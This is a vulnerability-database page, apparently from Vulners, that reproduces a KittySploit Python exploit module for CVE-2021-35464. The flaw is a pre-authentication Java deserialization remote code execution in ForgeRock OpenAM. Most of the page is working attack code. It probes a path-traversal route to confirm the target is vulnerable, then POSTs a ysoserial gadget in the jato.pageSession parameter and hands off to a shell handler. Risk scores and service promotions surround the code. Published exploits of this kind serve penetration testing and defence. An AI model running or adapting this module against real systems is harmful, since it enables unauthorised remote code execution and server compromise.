Lucene search
+L

ForgeRock OpenAM Deserialization RCE (CVE-2021-35464)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Pre-auth Java deserialization in ForgeRock OpenAM jato.pageSession allows RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ForgeRock OpenAM Jato deserialization RCE (CVE-2021-35464)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ForgeRock OpenAM Deserialization RCE (CVE-2021-35464)',
        'description': (
            'Exploits CVE-2021-35464 in ForgeRock OpenAM <7.0: pre-auth Java deserialization '
            'via jato.pageSession on /openam/oauth2/..;/ccversion/* path traversal routes.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-35464'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-35464'],
        'tags': ['forgerock', 'openam', 'deserialization', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_35464_detect']},
        },
    }

    ysoserial_payload = OptString('', 'Base64 ysoserial gadget for jato.pageSession', required=False, advanced=True)
    ccversion_path = OptString('/openam/oauth2/..;/ccversion/Version', 'Traversal route', required=False, advanced=True)

    def check(self):
        path = str(self.ccversion_path or '/openam/oauth2/..;/ccversion/Version').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'Version Information -' in body:
            return {'vulnerable': True, 'reason': 'OpenAM ccversion traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ForgeRock OpenAM not detected', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        blob = str(self.ysoserial_payload or '').strip()
        if not blob:
            return ''
        path = str(self.ccversion_path or '/openam/oauth2/..;/ccversion/Version').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data={'jato.pageSession': blob},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.ysoserial_payload:
            print_warning('Set ysoserial_payload (CommonsBeanutils1/etc.) for command execution')
            self.vulnerable()
            return True
        body = self.execute('')
        if re.search(r'uid=\d+|Exception|Error', body or '', re.I):
            return self.handler_execute()
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC
0